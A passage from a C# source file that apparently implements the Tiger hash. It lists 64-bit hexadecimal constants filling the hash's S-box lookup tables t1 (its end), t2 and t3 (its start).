0xDA1D60E183D4A5F8L)   /*  181 */,\n            unchecked((long) 0xB287C38417998E47L)   /*  182 */,    unchecked((long) 0xFE3EDC121BB31886L)   /*  183 */,\n            unchecked((long) 0xC7FE3CCC980CCBEFL)   /*  184 */,    unchecked((long) 0xE46FB590189BFD03L)   /*  185 */,\n            unchecked((long) 0x3732FD469A4C57DCL)   /*  186 */,    unchecked((long) 0x7EF700A07CF1AD65L)   /*  187 */,\n            unchecked((long) 0x59C64468A31D8859L)   /*  188 */,    unchecked((long) 0x762FB0B4D45B61F6L)   /*  189 */,\n            unchecked((long) 0x155BAED099047718L)   /*  190 */,    unchecked((long) 0x68755E4C3D50BAA6L)   /*  191 */,\n            unchecked((long) 0xE9214E7F22D8B4DFL)   /*  192 */,    unchecked((long) 0x2ADDBF532EAC95F4L)   /*  193 */,\n            unchecked((long) 0x32AE3909B4BD0109L)   /*  194 */,    unchecked((long) 0x834DF537B08E3450L)   /*  195 */,\n            unchecked((long) 0xFA209DA84220728DL)   /*  196 */,    unchecked((long) 0x9E691D9B9EFE23F7L)   /*  197 */,\n            unchecked((long) 0x0446D288C4AE8D7FL)   /*  198 */,    unchecked((long) 0x7B4CC524E169785BL)   /*  199 */,\n            unchecked((long) 0x21D87F0135CA1385L)   /*  200 */,    unchecked((long) 0xCEBB400F137B8AA5L)   /*  201 */,\n            unchecked((long) 0x272E2B66580796BEL)   /*  202 */,    unchecked((long) 0x3612264125C2B0DEL)   /*  203 */,\n            unchecked((long) 0x057702BDAD1EFBB2L)   /*  204 */,    unchecked((long) 0xD4BABB8EACF84BE9L)   /*  205 */,\n            unchecked((long) 0x91583139641BC67BL)   /*  206 */,    unchecked((long) 0x8BDC2DE08036E024L)   /*  207 */,\n            unchecked((long) 0x603C8156F49F68EDL)   /*  208 */,    unchecked((long) 0xF7D236F7DBEF5111L)   /*  209 */,\n            unchecked((long) 0x9727C4598AD21E80L)   /*  210 */,    unchecked((long) 0xA08A0896670A5FD7L)   /*  211 */,\n            unchecked((long) 0xCB4A8F4309EBA9CBL)   /*  212 */,    unchecked((long) 0x81AF564B0F7036A1L)   /*  213 */,\n            unchecked((long) 0xC0B99AA778199ABDL)   /*  214 */,    unchecked((long) 0x959F1EC83FC8E952L)   /*  215 */,\n            unchecked((long) 0x8C505077794A81B9L)   /*  216 */,    unchecked((long) 0x3ACAAF8F056338F0L)   /*  217 */,\n            unchecked((long) 0x07B43F50627A6778L)   /*  218 */,    unchecked((long) 0x4A44AB49F5ECCC77L)   /*  219 */,\n            unchecked((long) 0x3BC3D6E4B679EE98L)   /*  220 */,    unchecked((long) 0x9CC0D4D1CF14108CL)   /*  221 */,\n            unchecked((long) 0x4406C00B206BC8A0L)   /*  222 */,    unchecked((long) 0x82A18854C8D72D89L)   /*  223 */,\n            unchecked((long) 0x67E366B35C3C432CL)   /*  224 */,    unchecked((long) 0xB923DD61102B37F2L)   /*  225 */,\n            unchecked((long) 0x56AB2779D884271DL)   /*  226 */,    unchecked((long) 0xBE83E1B0FF1525AFL)   /*  227 */,\n            unchecked((long) 0xFB7C65D4217E49A9L)   /*  228 */,    unchecked((long) 0x6BDBE0E76D48E7D4L)   /*  229 */,\n            unchecked((long) 0x08DF828745D9179EL)   /*  230 */,    unchecked((long) 0x22EA6A9ADD53BD34L)   /*  231 */,\n            unchecked((long) 0xE36E141C5622200AL)   /*  232 */,    unchecked((long) 0x7F805D1B8CB750EEL)   /*  233 */,\n            unchecked((long) 0xAFE5C7A59F58E837L)   /*  234 */,    unchecked((long) 0xE27F996A4FB1C23CL)   /*  235 */,\n            unchecked((long) 0xD3867DFB0775F0D0L)   /*  236 */,    unchecked((long) 0xD0E673DE6E88891AL)   /*  237 */,\n            unchecked((long) 0x123AEB9EAFB86C25L)   /*  238 */,    unchecked((long) 0x30F1D5D5C145B895L)   /*  239 */,\n            unchecked((long) 0xBB434A2DEE7269E7L)   /*  240 */,    unchecked((long) 0x78CB67ECF931FA38L)   /*  241 */,\n            unchecked((long) 0xF33B0372323BBF9CL)   /*  242 */,    unchecked((long) 0x52D66336FB279C74L)   /*  243 */,\n            unchecked((long) 0x505F33AC0AFB4EAAL)   /*  244 */,    unchecked((long) 0xE8A5CD99A2CCE187L)   /*  245 */,\n            unchecked((long) 0x534974801E2D30BBL)   /*  246 */,    unchecked((long) 0x8D2D5711D5876D90L)   /*  247 */,\n            unchecked((long) 0x1F1A412891BC038EL)   /*  248 */,    unchecked((long) 0xD6E2E71D82E56648L)   /*  249 */,\n            unchecked((long) 0x74036C3A497732B7L)   /*  250 */,    unchecked((long) 0x89B67ED96361F5ABL)   /*  251 */,\n            unchecked((long) 0xFFED95D8F1EA02A2L)   /*  252 */,    unchecked((long) 0xE72B3BD61464D43DL)   /*  253 */,\n            unchecked((long) 0xA6300F170BDC4820L)   /*  254 */,    unchecked((long) 0xEBC18760ED78A77AL)   /*  255 */,\n        };\n\n        private static readonly long[] t2 = {\n            unchecked((long) 0xE6A6BE5A05A12138L)   /*  256 */,    unchecked((long) 0xB5A122A5B4F87C98L)   /*  257 */,\n            unchecked((long) 0x563C6089140B6990L)   /*  258 */,    unchecked((long) 0x4C46CB2E391F5DD5L)   /*  259 */,\n            unchecked((long) 0xD932ADDBC9B79434L)   /*  260 */,    unchecked((long) 0x08EA70E42015AFF5L)   /*  261 */,\n            unchecked((long) 0xD765A6673E478CF1L)   /*  262 */,    unchecked((long) 0xC4FB757EAB278D99L)   /*  263 */,\n            unchecked((long) 0xDF11C6862D6E0692L)   /*  264 */,    unchecked((long) 0xDDEB84F10D7F3B16L)   /*  265 */,\n            unchecked((long) 0x6F2EF604A665EA04L)   /*  266 */,    unchecked((long) 0x4A8E0F0FF0E0DFB3L)   /*  267 */,\n            unchecked((long) 0xA5EDEEF83DBCBA51L)   /*  268 */,    unchecked((long) 0xFC4F0A2A0EA4371EL)   /*  269 */,\n            unchecked((long) 0xE83E1DA85CB38429L)   /*  270 */,    unchecked((long) 0xDC8FF882BA1B1CE2L)   /*  271 */,\n            unchecked((long) 0xCD45505E8353E80DL)   /*  272 */,    unchecked((long) 0x18D19A00D4DB0717L)   /*  273 */,\n            unchecked((long) 0x34A0CFEDA5F38101L)   /*  274 */,    unchecked((long) 0x0BE77E518887CAF2L)   /*  275 */,\n            unchecked((long) 0x1E341438B3C45136L)   /*  276 */,    unchecked((long) 0xE05797F49089CCF9L)   /*  277 */,\n            unchecked((long) 0xFFD23F9DF2591D14L)   /*  278 */,    unchecked((long) 0x543DDA228595C5CDL)   /*  279 */,\n            unchecked((long) 0x661F81FD99052A33L)   /*  280 */,    unchecked((long) 0x8736E641DB0F7B76L)   /*  281 */,\n            unchecked((long) 0x15227725418E5307L)   /*  282 */,    unchecked((long) 0xE25F7F46162EB2FAL)   /*  283 */,\n            unchecked((long) 0x48A8B2126C13D9FEL)   /*  284 */,    unchecked((long) 0xAFDC541792E76EEAL)   /*  285 */,\n            unchecked((long) 0x03D912BFC6D1898FL)   /*  286 */,    unchecked((long) 0x31B1AAFA1B83F51BL)   /*  287 */,\n            unchecked((long) 0xF1AC2796E42AB7D9L)   /*  288 */,    unchecked((long) 0x40A3A7D7FCD2EBACL)   /*  289 */,\n            unchecked((long) 0x1056136D0AFBBCC5L)   /*  290 */,    unchecked((long) 0x7889E1DD9A6D0C85L)   /*  291 */,\n            unchecked((long) 0xD33525782A7974AAL)   /*  292 */,    unchecked((long) 0xA7E25D09078AC09BL)   /*  293 */,\n            unchecked((long) 0xBD4138B3EAC6EDD0L)   /*  294 */,    unchecked((long) 0x920ABFBE71EB9E70L)   /*  295 */,\n            unchecked((long) 0xA2A5D0F54FC2625CL)   /*  296 */,    unchecked((long) 0xC054E36B0B1290A3L)   /*  297 */,\n            unchecked((long) 0xF6DD59FF62FE932BL)   /*  298 */,    unchecked((long) 0x3537354511A8AC7DL)   /*  299 */,\n            unchecked((long) 0xCA845E9172FADCD4L)   /*  300 */,    unchecked((long) 0x84F82B60329D20DCL)   /*  301 */,\n            unchecked((long) 0x79C62CE1CD672F18L)   /*  302 */,    unchecked((long) 0x8B09A2ADD124642CL)   /*  303 */,\n            unchecked((long) 0xD0C1E96A19D9E726L)   /*  304 */,    unchecked((long) 0x5A786A9B4BA9500CL)   /*  305 */,\n            unchecked((long) 0x0E020336634C43F3L)   /*  306 */,    unchecked((long) 0xC17B474AEB66D822L)   /*  307 */,\n            unchecked((long) 0x6A731AE3EC9BAAC2L)   /*  308 */,    unchecked((long) 0x8226667AE0840258L)   /*  309 */,\n            unchecked((long) 0x67D4567691CAECA5L)   /*  310 */,    unchecked((long) 0x1D94155C4875ADB5L)   /*  311 */,\n            unchecked((long) 0x6D00FD985B813FDFL)   /*  312 */,    unchecked((long) 0x51286EFCB774CD06L)   /*  313 */,\n            unchecked((long) 0x5E8834471FA744AFL)   /*  314 */,    unchecked((long) 0xF72CA0AEE761AE2EL)   /*  315 */,\n            unchecked((long) 0xBE40E4CDAEE8E09AL)   /*  316 */,    unchecked((long) 0xE9970BBB5118F665L)   /*  317 */,\n            unchecked((long) 0x726E4BEB33DF1964L)   /*  318 */,    unchecked((long) 0x703B000729199762L)   /*  319 */,\n            unchecked((long) 0x4631D816F5EF30A7L)   /*  320 */,    unchecked((long) 0xB880B5B51504A6BEL)   /*  321 */,\n            unchecked((long) 0x641793C37ED84B6CL)   /*  322 */,    unchecked((long) 0x7B21ED77F6E97D96L)   /*  323 */,\n            unchecked((long) 0x776306312EF96B73L)   /*  324 */,    unchecked((long) 0xAE528948E86FF3F4L)   /*  325 */,\n            unchecked((long) 0x53DBD7F286A3F8F8L)   /*  326 */,    unchecked((long) 0x16CADCE74CFC1063L)   /*  327 */,\n            unchecked((long) 0x005C19BDFA52C6DDL)   /*  328 */,    unchecked((long) 0x68868F5D64D46AD3L)   /*  329 */,\n            unchecked((long) 0x3A9D512CCF1E186AL)   /*  330 */,    unchecked((long) 0x367E62C2385660AEL)   /*  331 */,\n            unchecked((long) 0xE359E7EA77DCB1D7L)   /*  332 */,    unchecked((long) 0x526C0773749ABE6EL)   /*  333 */,\n            unchecked((long) 0x735AE5F9D09F734BL)   /*  334 */,    unchecked((long) 0x493FC7CC8A558BA8L)   /*  335 */,\n            unchecked((long) 0xB0B9C1533041AB45L)   /*  336 */,    unchecked((long) 0x321958BA470A59BDL)   /*  337 */,\n            unchecked((long) 0x852DB00B5F46C393L)   /*  338 */,    unchecked((long) 0x91209B2BD336B0E5L)   /*  339 */,\n            unchecked((long) 0x6E604F7D659EF19FL)   /*  340 */,    unchecked((long) 0xB99A8AE2782CCB24L)   /*  341 */,\n            unchecked((long) 0xCCF52AB6C814C4C7L)   /*  342 */,    unchecked((long) 0x4727D9AFBE11727BL)   /*  343 */,\n            unchecked((long) 0x7E950D0C0121B34DL)   /*  344 */,    unchecked((long) 0x756F435670AD471FL)   /*  345 */,\n            unchecked((long) 0xF5ADD442615A6849L)   /*  346 */,    unchecked((long) 0x4E87E09980B9957AL)   /*  347 */,\n            unchecked((long) 0x2ACFA1DF50AEE355L)   /*  348 */,    unchecked((long) 0xD898263AFD2FD556L)   /*  349 */,\n            unchecked((long) 0xC8F4924DD80C8FD6L)   /*  350 */,    unchecked((long) 0xCF99CA3D754A173AL)   /*  351 */,\n            unchecked((long) 0xFE477BACAF91BF3CL)   /*  352 */,    unchecked((long) 0xED5371F6D690C12DL)   /*  353 */,\n            unchecked((long) 0x831A5C285E687094L)   /*  354 */,    unchecked((long) 0xC5D3C90A3708A0A4L)   /*  355 */,\n            unchecked((long) 0x0F7F903717D06580L)   /*  356 */,    unchecked((long) 0x19F9BB13B8FDF27FL)   /*  357 */,\n            unchecked((long) 0xB1BD6F1B4D502843L)   /*  358 */,    unchecked((long) 0x1C761BA38FFF4012L)   /*  359 */,\n            unchecked((long) 0x0D1530C4E2E21F3BL)   /*  360 */,    unchecked((long) 0x8943CE69A7372C8AL)   /*  361 */,\n            unchecked((long) 0xE5184E11FEB5CE66L)   /*  362 */,    unchecked((long) 0x618BDB80BD736621L)   /*  363 */,\n            unchecked((long) 0x7D29BAD68B574D0BL)   /*  364 */,    unchecked((long) 0x81BB613E25E6FE5BL)   /*  365 */,\n            unchecked((long) 0x071C9C10BC07913FL)   /*  366 */,    unchecked((long) 0xC7BEEB7909AC2D97L)   /*  367 */,\n            unchecked((long) 0xC3E58D353BC5D757L)   /*  368 */,    unchecked((long) 0xEB017892F38F61E8L)   /*  369 */,\n            unchecked((long) 0xD4EFFB9C9B1CC21AL)   /*  370 */,    unchecked((long) 0x99727D26F494F7ABL)   /*  371 */,\n            unchecked((long) 0xA3E063A2956B3E03L)   /*  372 */,    unchecked((long) 0x9D4A8B9A4AA09C30L)   /*  373 */,\n            unchecked((long) 0x3F6AB7D500090FB4L)   /*  374 */,    unchecked((long) 0x9CC0F2A057268AC0L)   /*  375 */,\n            unchecked((long) 0x3DEE9D2DEDBF42D1L)   /*  376 */,    unchecked((long) 0x330F49C87960A972L)   /*  377 */,\n            unchecked((long) 0xC6B2720287421B41L)   /*  378 */,    unchecked((long) 0x0AC59EC07C00369CL)   /*  379 */,\n            unchecked((long) 0xEF4EAC49CB353425L)   /*  380 */,    unchecked((long) 0xF450244EEF0129D8L)   /*  381 */,\n            unchecked((long) 0x8ACC46E5CAF4DEB6L)   /*  382 */,    unchecked((long) 0x2FFEAB63989263F7L)   /*  383 */,\n            unchecked((long) 0x8F7CB9FE5D7A4578L)   /*  384 */,    unchecked((long) 0x5BD8F7644E634635L)   /*  385 */,\n            unchecked((long) 0x427A7315BF2DC900L)   /*  386 */,    unchecked((long) 0x17D0C4AA2125261CL)   /*  387 */,\n            unchecked((long) 0x3992486C93518E50L)   /*  388 */,    unchecked((long) 0xB4CBFEE0A2D7D4C3L)   /*  389 */,\n            unchecked((long) 0x7C75D6202C5DDD8DL)   /*  390 */,    unchecked((long) 0xDBC295D8E35B6C61L)   /*  391 */,\n            unchecked((long) 0x60B369D302032B19L)   /*  392 */,    unchecked((long) 0xCE42685FDCE44132L)   /*  393 */,\n            unchecked((long) 0x06F3DDB9DDF65610L)   /*  394 */,    unchecked((long) 0x8EA4D21DB5E148F0L)   /*  395 */,\n            unchecked((long) 0x20B0FCE62FCD496FL)   /*  396 */,    unchecked((long) 0x2C1B912358B0EE31L)   /*  397 */,\n            unchecked((long) 0xB28317B818F5A308L)   /*  398 */,    unchecked((long) 0xA89C1E189CA6D2CFL)   /*  399 */,\n            unchecked((long) 0x0C6B18576AAADBC8L)   /*  400 */,    unchecked((long) 0xB65DEAA91299FAE3L)   /*  401 */,\n            unchecked((long) 0xFB2B794B7F1027E7L)   /*  402 */,    unchecked((long) 0x04E4317F443B5BEBL)   /*  403 */,\n            unchecked((long) 0x4B852D325939D0A6L)   /*  404 */,    unchecked((long) 0xD5AE6BEEFB207FFCL)   /*  405 */,\n            unchecked((long) 0x309682B281C7D374L)   /*  406 */,    unchecked((long) 0xBAE309A194C3B475L)   /*  407 */,\n            unchecked((long) 0x8CC3F97B13B49F05L)   /*  408 */,    unchecked((long) 0x98A9422FF8293967L)   /*  409 */,\n            unchecked((long) 0x244B16B01076FF7CL)   /*  410 */,    unchecked((long) 0xF8BF571C663D67EEL)   /*  411 */,\n            unchecked((long) 0x1F0D6758EEE30DA1L)   /*  412 */,    unchecked((long) 0xC9B611D97ADEB9B7L)   /*  413 */,\n            unchecked((long) 0xB7AFD5887B6C57A2L)   /*  414 */,    unchecked((long) 0x6290AE846B984FE1L)   /*  415 */,\n            unchecked((long) 0x94DF4CDEACC1A5FDL)   /*  416 */,    unchecked((long) 0x058A5BD1C5483AFFL)   /*  417 */,\n            unchecked((long) 0x63166CC142BA3C37L)   /*  418 */,    unchecked((long) 0x8DB8526EB2F76F40L)   /*  419 */,\n            unchecked((long) 0xE10880036F0D6D4EL)   /*  420 */,    unchecked((long) 0x9E0523C9971D311DL)   /*  421 */,\n            unchecked((long) 0x45EC2824CC7CD691L)   /*  422 */,    unchecked((long) 0x575B8359E62382C9L)   /*  423 */,\n            unchecked((long) 0xFA9E400DC4889995L)   /*  424 */,    unchecked((long) 0xD1823ECB45721568L)   /*  425 */,\n            unchecked((long) 0xDAFD983B8206082FL)   /*  426 */,    unchecked((long) 0xAA7D29082386A8CBL)   /*  427 */,\n            unchecked((long) 0x269FCD4403B87588L)   /*  428 */,    unchecked((long) 0x1B91F5F728BDD1E0L)   /*  429 */,\n            unchecked((long) 0xE4669F39040201F6L)   /*  430 */,    unchecked((long) 0x7A1D7C218CF04ADEL)   /*  431 */,\n            unchecked((long) 0x65623C29D79CE5CEL)   /*  432 */,    unchecked((long) 0x2368449096C00BB1L)   /*  433 */,\n            unchecked((long) 0xAB9BF1879DA503BAL)   /*  434 */,    unchecked((long) 0xBC23ECB1A458058EL)   /*  435 */,\n            unchecked((long) 0x9A58DF01BB401ECCL)   /*  436 */,    unchecked((long) 0xA070E868A85F143DL)   /*  437 */,\n            unchecked((long) 0x4FF188307DF2239EL)   /*  438 */,    unchecked((long) 0x14D565B41A641183L)   /*  439 */,\n            unchecked((long) 0xEE13337452701602L)   /*  440 */,    unchecked((long) 0x950E3DCF3F285E09L)   /*  441 */,\n            unchecked((long) 0x59930254B9C80953L)   /*  442 */,    unchecked((long) 0x3BF299408930DA6DL)   /*  443 */,\n            unchecked((long) 0xA955943F53691387L)   /*  444 */,    unchecked((long) 0xA15EDECAA9CB8784L)   /*  445 */,\n            unchecked((long) 0x29142127352BE9A0L)   /*  446 */,    unchecked((long) 0x76F0371FFF4E7AFBL)   /*  447 */,\n            unchecked((long) 0x0239F450274F2228L)   /*  448 */,    unchecked((long) 0xBB073AF01D5E868BL)   /*  449 */,\n            unchecked((long) 0xBFC80571C10E96C1L)   /*  450 */,    unchecked((long) 0xD267088568222E23L)   /*  451 */,\n            unchecked((long) 0x9671A3D48E80B5B0L)   /*  452 */,    unchecked((long) 0x55B5D38AE193BB81L)   /*  453 */,\n            unchecked((long) 0x693AE2D0A18B04B8L)   /*  454 */,    unchecked((long) 0x5C48B4ECADD5335FL)   /*  455 */,\n            unchecked((long) 0xFD743B194916A1CAL)   /*  456 */,    unchecked((long) 0x2577018134BE98C4L)   /*  457 */,\n            unchecked((long) 0xE77987E83C54A4ADL)   /*  458 */,    unchecked((long) 0x28E11014DA33E1B9L)   /*  459 */,\n            unchecked((long) 0x270CC59E226AA213L)   /*  460 */,    unchecked((long) 0x71495F756D1A5F60L)   /*  461 */,\n            unchecked((long) 0x9BE853FB60AFEF77L)   /*  462 */,    unchecked((long) 0xADC786A7F7443DBFL)   /*  463 */,\n            unchecked((long) 0x0904456173B29A82L)   /*  464 */,    unchecked((long) 0x58BC7A66C232BD5EL)   /*  465 */,\n            unchecked((long) 0xF306558C673AC8B2L)   /*  466 */,    unchecked((long) 0x41F639C6B6C9772AL)   /*  467 */,\n            unchecked((long) 0x216DEFE99FDA35DAL)   /*  468 */,    unchecked((long) 0x11640CC71C7BE615L)   /*  469 */,\n            unchecked((long) 0x93C43694565C5527L)   /*  470 */,    unchecked((long) 0xEA038E6246777839L)   /*  471 */,\n            unchecked((long) 0xF9ABF3CE5A3E2469L)   /*  472 */,    unchecked((long) 0x741E768D0FD312D2L)   /*  473 */,\n            unchecked((long) 0x0144B883CED652C6L)   /*  474 */,    unchecked((long) 0xC20B5A5BA33F8552L)   /*  475 */,\n            unchecked((long) 0x1AE69633C3435A9DL)   /*  476 */,    unchecked((long) 0x97A28CA4088CFDECL)   /*  477 */,\n            unchecked((long) 0x8824A43C1E96F420L)   /*  478 */,    unchecked((long) 0x37612FA66EEEA746L)   /*  479 */,\n            unchecked((long) 0x6B4CB165F9CF0E5AL)   /*  480 */,    unchecked((long) 0x43AA1C06A0ABFB4AL)   /*  481 */,\n            unchecked((long) 0x7F4DC26FF162796BL)   /*  482 */,    unchecked((long) 0x6CBACC8E54ED9B0FL)   /*  483 */,\n            unchecked((long) 0xA6B7FFEFD2BB253EL)   /*  484 */,    unchecked((long) 0x2E25BC95B0A29D4FL)   /*  485 */,\n            unchecked((long) 0x86D6A58BDEF1388CL)   /*  486 */,    unchecked((long) 0xDED74AC576B6F054L)   /*  487 */,\n            unchecked((long) 0x8030BDBC2B45805DL)   /*  488 */,    unchecked((long) 0x3C81AF70E94D9289L)   /*  489 */,\n            unchecked((long) 0x3EFF6DDA9E3100DBL)   /*  490 */,    unchecked((long) 0xB38DC39FDFCC8847L)   /*  491 */,\n            unchecked((long) 0x123885528D17B87EL)   /*  492 */,    unchecked((long) 0xF2DA0ED240B1B642L)   /*  493 */,\n            unchecked((long) 0x44CEFADCD54BF9A9L)   /*  494 */,    unchecked((long) 0x1312200E433C7EE6L)   /*  495 */,\n            unchecked((long) 0x9FFCC84F3A78C748L)   /*  496 */,    unchecked((long) 0xF0CD1F72248576BBL)   /*  497 */,\n            unchecked((long) 0xEC6974053638CFE4L)   /*  498 */,    unchecked((long) 0x2BA7B67C0CEC4E4CL)   /*  499 */,\n            unchecked((long) 0xAC2F4DF3E5CE32EDL)   /*  500 */,    unchecked((long) 0xCB33D14326EA4C11L)   /*  501 */,\n            unchecked((long) 0xA4E9044CC77E58BCL)   /*  502 */,    unchecked((long) 0x5F513293D934FCEFL)   /*  503 */,\n            unchecked((long) 0x5DC9645506E55444L)   /*  504 */,    unchecked((long) 0x50DE418F317DE40AL)   /*  505 */,\n            unchecked((long) 0x388CB31A69DDE259L)   /*  506 */,    unchecked((long) 0x2DB4A83455820A86L)   /*  507 */,\n            unchecked((long) 0x9010A91E84711AE9L)   /*  508 */,    unchecked((long) 0x4DF7F0B7B1498371L)   /*  509 */,\n            unchecked((long) 0xD62A2EABC0977179L)   /*  510 */,    unchecked((long) 0x22FAC097AA8D5C0EL)   /*  511 */,\n        };\n\n        private static readonly long[] t3 = {\n            unchecked((long) 0xF49FCC2FF1DAF39BL)   /*  512 */,    unchecked((long) 0x487FD5C66FF29281L)   /*  513 */,\n            unchecked((long) 0xE8A30667FCDCA83FL)   /*  514 */,    unchecked((long) 0x2C9B4BE3D2FCCE63L)   /*  515 */,\n            unchecked((long) 0xDA3FF74B93FBBBC2L)   /*  516 */,    unchecked((long) 0x2FA165D2FE70BA66L)   /*  517 */,\n            unchecked((long) 0xA103E279970E93D4L)   /*  518 */,    unchecked((long) 0xBECDEC77B0E45E71L)   /*  519 */,\n            unchecked((long) 0xCFB41E723985E497L)   /*  520 */,    unchecked((long) 0xB70AAA025EF75017L)   /*  521 */,\n            unchecked((long) 0xD42309F03840B8E0L)   /*  522 */,    unchecked((long) 0x8EFC1AD035898579L)   /*  523 */,\n            unchecked((long) 0x96C6920BE2B2ABC5L)   /*  524 */,    unchecked((long) 0x66AF4163375A9172L)   /*  525 */,\n            unchecked((long) 0x2174ABDCCA7127FBL)   /*  526 */,    unchecked((long) 0xB33CCEA64A72FF41L)   /*  527 */,\n            unchecked((long) 0xF04A4933083066A5L)   /*  528 */,    unchecked((long) 0x8D970ACDD7289AF5L)   /*  529 */,\n            unchecked((long) 0x8F96E8E031C8C25EL)   /*  530 */,    unchecked((long) 0xF3FEC02276875D47L)   /*  531 */,\n            unchecked((long) 0xEC7BF310056190DDL)   /*  532 */,    unchecked((long) 0xF5ADB0AEBB0F1491L)   /*  533 */,\n            unchecked((long) 0x9B50F8850FD58892L)   /*  534 */,    unchecked((long) 0x4975488358B74DE8L)   /*  535 */,\n            unchecked((long) 0xA3354FF691531C61L)   /*  536 */,    unchecked((long) 0x0702BBE481D2C6EEL)   /*  537 */,\n            unchecked((long) 0x89FB24057DEDED98L)   /*  538 */,    unchecked((long) 0xAC3075138596E902L)   /*  539 */,\n            unchecked((long) 0x1D2D3580172772EDL)   /*  540 */,    unchecked((long) 0xEB738FC28E6BC30DL)   /*  541 */,\n            unchecked((long) 0x5854EF8F63044326L)   /*  542 */,    unchecked((long) 0x9E5C52325ADD3BBEL)   /*  543 */,\n            unchecked((long) 0x90AA53CF325C4623L)   /*  544 */,    unchecked((long) 0xC1D24D51349DD067L)   /*  545 */,\n            unchecked((long) 0x2051CFEEA69EA624L)   /*  546 */,    unchecked((long) 0x13220F0A862E7E4FL)   /*  547 */,\n            unchecked((long) 0xCE39399404E04864L)   /*  548 */,    unchecked((long) 0xD9C42CA47086FCB7L)   /*  549 */,\n            unchecked((long) 0x685AD2238A03E7CCL)   /*  550 */,    unchecked((long) 0x066484B2AB2FF1DBL)   /*  551 */,\n            unchecked((long) 0xFE9D5D70EFBF79ECL)   /*  552 */,    unchecked((long) 0x5B13B9DD9C481854L)   /*  553 */,\n            unchecked((long) 0x15F0D475ED1509ADL)   /*  554 */,    unchecked((long) 0x0BEBCD060EC79851L)   /*  555 */,\n            unchecked((long) 0xD58C6791183AB7F8L)   /*  556 */,    unchecked((long) 0xD1187C5052F3EEE4L)   /*  557 */,\n            unchecked((long) 0xC95D1192E54E82FFL)   /*  558 */,    unchecked((long) 0x86EEA14CB9AC6CA2L)   /*  559 */,\n            unchecked((long) 0x3485BEB153677D5DL)   /*  560 */,    unchecked((long) 0xDD191D781F8C492AL)   /*  561 */,\n            unchecked((long) 0xF60866BAA784EBF9L)   /*  562 */,    unchecked((long) 0x518F643BA2D08C74L)   /*  563 */,\n            unchecked((long) 0x8852E956E1087C22L)   /*  564 */,    unchecked((long) 0xA768CB8DC410AE8DL)   /*  565 */,\n            unchecked((long) 0x38047726BFEC8E1AL)   /*  566 */,    unchecked((long) 0xA67738B4CD3B45AAL)   /*  567 */,\n            unchecked((long) 0xAD16691CEC0DDE19L)   /*  568 */,    unchecked((long) 0xC6D4319380462E07L)   /*  569 */,\n            unchecked((long) 0xC5A5876D0BA61938L)   /*  570 */,    unchecked((long) 0x16B9FA1FA58FD840L)   /*  571 */,\n            unchecked((long) 0x188AB1173CA74F18L)   /*  572 */,    unchecked((long) 0xABDA2F98C99C021FL)   /*  573 */,\n            unchecked((long) 0x3E0580AB134AE816L)   /*  574 */,    unchecked((long) 0x5F3B05B773645ABBL)   /*  575 */,\n            unchecked((long) 0x2501A2BE5575F2F6L)   /*  576 */,    unchecked((long) 0x1B2F74004E7E8BA9L)   /*  577 */,\n            unchecked((long) 0x1CD7580371E8D953L)   /*  578 */,    unchecked((long) 0x7F6ED89562764E30L)   /*  579 */,\n            unchecked((long) 0xB15926FF596F003DL)   /*  580 */,    unchecked((long) 0x9F65293DA8C5D6B9L)   /*  581 */,\n            unchecked((long) 0x6ECEF04DD690F84CL)   /*  582 */,    unchecked((long) 0x4782275FFF33AF88L)   /*  583 */,\n            unchecked((long) 0xE41433083F820801L)   /*  584 */,    unchecked((long) 0xFD0DFE409A1AF9B5L)   /*  585 */,\n            unchecked((long) 0x4325A3342CDB396BL)   /*  586 */,    unchecked((long) 0x8AE77E62B301B252L)   /*  587 */,\n            unchecked((long) 0xC36F9E9F6655615AL)   /*  588 */,    unchecked((long) 0x85455A2D92D32C09L)   /*  589 */,\n            unchecked((long) 0xF2C7DEA949477485L)   /*  590 */,    unchecked((long) 0x63CFB4C133A39EBAL)   /*  591 */,\n            unchecked((long) 0x83B040CC6EBC5462L)   /*  592 */,    unchecked((long) 0x3B9454C8FDB326B0L)   /*  593 */,\n            unchecked((long) 0x56F56A9E87FFD78CL)   /*  594 */,    unchecked((long) 0x2DC2940D99F42BC6L)   /*  595 */,\n            unchecked((long) 0x98F7DF096B096E2DL)   /*  596 */,    unchecked((long) 0x19A6E01E3AD852BFL)   /*  597 */,\n            unchecked((long) 0x42A99CCBDBD4B40BL)   /*  598 */,    unchecked((long) 0xA59998AF45E9C559L)   /*  599 */,\n            unchecked((long) 0x366295E807D93186L)   /*  600 */,    unchecked((long) 0x6B48181BFAA1F773L)   /*  601 */,\n            unchecked((long) 0x1FEC57E2157A0A1DL)   /*  602 */,    unchecked((long) 0x4667446AF6201AD5L)   /*  603 */,\n            unchecked((long) 0xE615EBCACFB0F075L)   /*  604 */,    unchecked((long) 0xB8F31F4F68290778L)   /*  605 */,\n            unchecked((long) 0x22713ED6CE22D11EL)   /*  606 */,    unchecked((long) 0x3057C1A72EC3C93BL)   /*  607 */,\n            unchecked((long) 0xCB46ACC37C3F1F2FL)   /*  608 */,    unchecked((long) 0xDBB893FD02AAF50EL)   /*  609 */,\n            unchecked((long) 0x331FD92E600B9FCFL)   /*  610 */,    unchecked((long) 0xA498F96148EA3AD6L)   /*  611 */,\n            unchecked((long) 0xA8D8426E8B6A83EAL)   /*  612 */,    unchecked((long) 0xA089B274B7735CDCL)   /*  613 */,\n            unchecked((long) 0x87F6B3731E524A11L)   /*  614 */,    unchecked((long) 0x118808E5CBC96749L)   /*  615 */,\n            unchecked((long) 0x9906E4C7B19BD394L)   /*  616 */,    unchecked((long) 0xAFED7F7E9B24A20CL)   /*  617 */,\n            unchecked((long) 0x6509EADEEB3644A7L)   /*  618 */,    unchecked((long) 0x6C1EF1D3E8EF0EDEL)   /*  619 */,\n            unchecked((long) 0xB9C97D43E9798FB4L)   /*  620 */,    unchecked((long) 0xA2F2D784740C28A3L)   /*  621 */,\n            unchecked((long) 0x7B8496476197566FL)   /*  622 */,    unchecked((long) 0x7A5BE3E6B65F069DL)   /*  623 */,\n            unchecked((long) 0xF96330ED78BE6F10L)   /*  624 */,    unchecked((long) 0xEEE60DE77A076A15L)   /*  625 */,\n            unchecked((long) 0x2B4BEE4AA08B9BD0L)   /*  626 */,    unchecked((long) 0x6A56A63EC7B8894EL)   /*  627 */,\n            unchecked((long) 0x02121359BA34FEF4L)   /*  628 */,    unchecked((long) 0x4CBF99F8283703FCL)   /*  629 */,\n            unchecked((long) 0x398071350CAF30C8L)   /*  630 */,    unchecked((long) 0xD0A77A89F017687AL)   /*  631 */,\n            unchecked((long) 0xF1C1A9EB9E423569L)   /*  632 */,    unchecked((long) 